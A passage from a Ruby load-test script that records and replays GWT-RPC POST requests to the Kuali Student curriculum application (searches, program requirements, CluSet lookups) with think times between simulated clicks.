\"5|0|15|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.enum.lu.program.level|enumeration.queryParam.enumerationCode|java.lang.String/2004016611|kuali.lu.program.level.UnderGraduate|kuali.lu.program.level.Graduate|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|2|11|12|11|13|0|14|15|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.degree|lrc.search.resultComponent|lrc.resultColumn.resultComponent.name|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalState|java.lang.String/2004016611|Active|lu.queryParam.luOptionalType|kuali.lu.type.credential.Baccalaureate|kuali.lu.type.credential.Masters|kuali.lu.type.credential.Professional|kuali.lu.type.credential.Doctoral|kuali.lu.type.credential.UndergraduateCertificate|kuali.lu.type.credential.GraduateCertificate |kuali.lu.type.credential.ContinuingEd|lu.search.generic|lu.resultColumn.luOptionalLongName|1|2|3|4|1|5|5|0|0|6|2|7|8|6|1|9|10|0|7|11|6|7|9|12|9|13|9|14|9|15|9|16|9|17|9|18|0|19|20|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.state|enumeration.queryParam.enumerationCode|java.lang.String/2004016611|Active|Retired|Suspended|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|3|11|12|11|13|11|14|0|15|16|0|0|\"\n }\n )\n\n @request.add_thinktime(3)\n \n # The next 23 HTTP Requests happen after clicking on the Undergraduate check box and then clicking on Biological Sciences and then clicking Select\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/majorDisciplineRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2CB883AE47B1ED601F45C2FB3FF135F5|org.kuali.student.lum.program.client.rpc.MajorDisciplineRpcService|getData|java.lang.String/2004016611|%%_#{opts[:program_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/majorDisciplineRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2CB883AE47B1ED601F45C2FB3FF135F5|org.kuali.student.lum.program.client.rpc.MajorDisciplineRpcService|getMetadata|java.lang.String/2004016611|java.util.Map|%%_#{opts[:program_name_dyn_var]}%%|java.util.HashMap/962170901|ID_TYPE|objectId|DtoState|Active|DtoNextState|Superseded|1|2|3|4|2|5|6|7|8|3|5|9|5|10|5|11|5|12|5|13|5|14|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.publicationType.idRestrictionList|java.lang.String/2004016611|kuali.lu.publication.GradCatalog|kuali.lu.publication.UndergradCatalog|lu.search.publication.types|lu.resultColumn.publicationType.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|2|9|10|9|11|0|12|13|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.publicationType.idRestrictionList|java.lang.String/2004016611|kuali.lu.publication.GradCatalog|kuali.lu.publication.UndergradCatalog|lu.search.publication.types|lu.resultColumn.publicationType.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|2|9|10|9|11|0|12|13|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CommentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|62D53D0C5087061126A72510E98E7E9A|org.kuali.student.core.comments.ui.client.service.CommentRpcService|getUserRealName|java.lang.String/2004016611|#{opts[:browse_person]}|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/majorDisciplineRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2CB883AE47B1ED601F45C2FB3FF135F5|org.kuali.student.lum.program.client.rpc.MajorDisciplineRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|1e42e6db-e7e2-4d77-9feb-c3a5ed4233ab|1|2|3|4|2|5|6|7|6|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementType|java.lang.String/2004016611|kuali.statement.type.program|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/majorDisciplineRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2CB883AE47B1ED601F45C2FB3FF135F5|org.kuali.student.lum.program.client.rpc.MajorDisciplineRpcService|getProgramRequirements|java.util.List|java.util.ArrayList/3821976829|java.lang.String/2004016611|96bbb8bd-a208-44c3-bd27-64d4acdcd059|c569c214-fd1e-4c4f-a107-2e3d0cea2aec|0c1e0815-cc7b-4f88-825b-3ea1e147e80e|7c3248e1-a612-462a-bdb1-541e98e06ff5|dbcae369-5fa0-4a91-880c-649326be58d4|1|2|3|4|1|5|6|5|7|8|7|9|7|10|7|11|7|12|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|aaa2ea4b-32d2-4ddf-94ed-7a87a5af0339|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|f72e672b-18e4-47bc-b786-706acb11a6b0|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|02416a8c-3bb4-4215-a3dd-3e1c7ca287d9|1|2|3|4|1|5|6|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:reqref1_name_dyn_var], \"re\" => opts[:reqref1_name_var_regexp]}\n ]\n },\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|2bf26abe-57ab-4b87-888e-861536e3574f|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|746a486f-34db-420f-a1f6-3dc58e740f8d|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|29f7168e-0bc6-4752-ae4e-239095ecb1e5|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|0fa575c5-9b7f-44e0-98d5-6bf2e9c431c6|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|034fc2ea-2e2e-4e9d-9196-124bce485d13|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|f23b18dd-8a5e-43ff-b1b1-cd02fc130b91|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|3b15f7da-89f5-4e76-9901-2e26469fd442|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|5a300769-0b48-46c2-86a0-9373557fc8ed|1|2|3|4|1|5|6|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:reqref2_name_dyn_var], \"re\" => opts[:reqref2_name_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|e19bd5e2-3ee8-4613-8e6c-43b1deda16c0|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|852c43eb-eba8-4151-bd62-4eae39b3bfbf|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add_thinktime(15)\n \n # The next 15 HTTP Requests happen after clicking on \"Program Requirements\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementType|java.lang.String/2004016611|kuali.statement.type.program|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/majorDisciplineRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2CB883AE47B1ED601F45C2FB3FF135F5|org.kuali.student.lum.program.client.rpc.MajorDisciplineRpcService|getProgramRequirements|java.util.List|java.util.ArrayList/3821976829|java.lang.String/2004016611|96bbb8bd-a208-44c3-bd27-64d4acdcd059|c569c214-fd1e-4c4f-a107-2e3d0cea2aec|0c1e0815-cc7b-4f88-825b-3ea1e147e80e|7c3248e1-a612-462a-bdb1-541e98e06ff5|dbcae369-5fa0-4a91-880c-649326be58d4|1|2|3|4|1|5|6|5|7|8|7|9|7|10|7|11|7|12|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|aaa2ea4b-32d2-4ddf-94ed-7a87a5af0339|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|f72e672b-18e4-47bc-b786-706acb11a6b0|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|02416a8c-3bb4-4215-a3dd-3e1c7ca287d9|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|2bf26abe-57ab-4b87-888e-861536e3574f|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|746a486f-34db-420f-a1f6-3dc58e740f8d|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|29f7168e-0bc6-4752-ae4e-239095ecb1e5|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|0fa575c5-9b7f-44e0-98d5-6bf2e9c431c6|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|034fc2ea-2e2e-4e9d-9196-124bce485d13|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|f23b18dd-8a5e-43ff-b1b1-cd02fc130b91|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|3b15f7da-89f5-4e76-9901-2e26469fd442|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|5a300769-0b48-46c2-86a0-9373557fc8ed|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|e19bd5e2-3ee8-4613-8e6c-43b1deda16c0|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|852c43eb-eba8-4151-bd62-4eae39b3bfbf|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add_thinktime(15)\n \n # The next 24 HTTP Requests happen after clicking on \"BSCI106 PRIN BIOL II 4.0 Credits\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5002099C37B5D013EC8762ACCBD03E69|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|getContextPath|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|getPrincipalUsername|1|2|3|4|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/MetadataRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C721122BF64327C2BB379CD5224A091|org.kuali.student.common.ui.client.service.MetadataRpcService|getMetadata|java.lang.String/2004016611|search|1|2|3|4|3|5|5|5|6|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5002099C37B5D013EC8762ACCBD03E69|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.util.List|java.util.Arrays$ArrayList/1243019747|[Ljava.lang.String;/2600011424|application.url|ks.rice.docSearch.serviceAddress|lum.application.url|ks.rice.url|ks.rice.label|ks.application.version|ks.gwt.codeServer|1|2|3|4|1|5|6|7|7|8|9|10|11|12|13|14|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||1|2|3|4|2|5|6|7|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 